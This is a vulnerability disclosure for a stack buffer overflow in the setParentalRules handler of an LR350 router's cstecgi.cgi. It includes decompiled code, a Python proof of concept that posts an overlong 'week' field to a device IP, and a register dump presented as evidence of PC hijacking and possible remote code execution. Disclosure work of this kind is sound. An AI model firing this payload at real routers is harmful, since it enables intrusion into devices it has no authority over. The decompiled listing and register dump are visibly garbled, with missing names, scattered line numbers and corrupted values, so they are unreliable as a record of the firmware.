LR350 - bof - setParentalRules

Hi, we found a post-authentication stack buffer overflow at LR350 (Firmware version V9.3.5u.6369_B20220309), and contact you at the first time.

```
else
 47
        v6 = websGetVar(a1, "mac", "");
48
        = (const char *)websGetVar(a1, "week", &word_4370EC);
49
       v8 = (const char *)websGetVar(a1, "sTime", &word_4370EC);
v9 = (const char *)websGetVar(a1, "eTime", &word_4370EC);
50
51
       v10 = websGetVar(a1, "state", &word_4370EC);
v11 = websGetVar(a1, "desc", &word_4370EC);
52
53
54
        if ( v3 == 2 )
55
          v12 = websGetVar(a1, "idx", &word_4370EC);
56
57
          v13 = atoi(v12) - 1;
 58
 59
       else
 60
          v13 = nvram_get_int("sch_parental_num");
          nvram set int("sch parental num", v13 + 1);
62
 63
        snprintf(v16, 32, "sch parental mac x%d", v13);
64
65
        nvram_set(v16, v6);
        snprintf(v16, 32, "sch_parental_desc_x%d", v13);
66
67
        nvram_set(v16, v11);
        snprintf(v16, 32, "sch_parental_state_x%d", v13);
68
        v14 = atoi(v10);
69
70
       nvram_set_int(v16, v14);
        snprintf(v16, 32, "sch parental time x%d", v13);
71
        sprintf(v17, "%s,%s,%s", v7, v8, v9);
72
73
       nvram_set(v16, v17);
 74 }
```

In function **setParentalRules** of the file **/cgi-bin/cstecgi.cgi**, the size of week, sTime, eTime is not checked, one can send a very long string to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setParentalRules", "addEffect" :
"0", "week" : "a"*0x100} response = requests.post(url, cookies=cookie,
json=data) print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
V0 0x1
V1 0x1
A0 0x1
A1 0x1
A2 0x1
A3 0x0
T0 0x/751F998 ← 0x6c5f5f00
T1 0x77519788 ← nop
T2 0x989
T3 0xffffffff
T4 0xf0000000
T5 0x1
T6 0x3a22656d ('me":')
T7 0x431008 (settlesponses390) ← move $v0, $zero
T8 0x39
T9 0x775569068 ← lui $gp. 2
```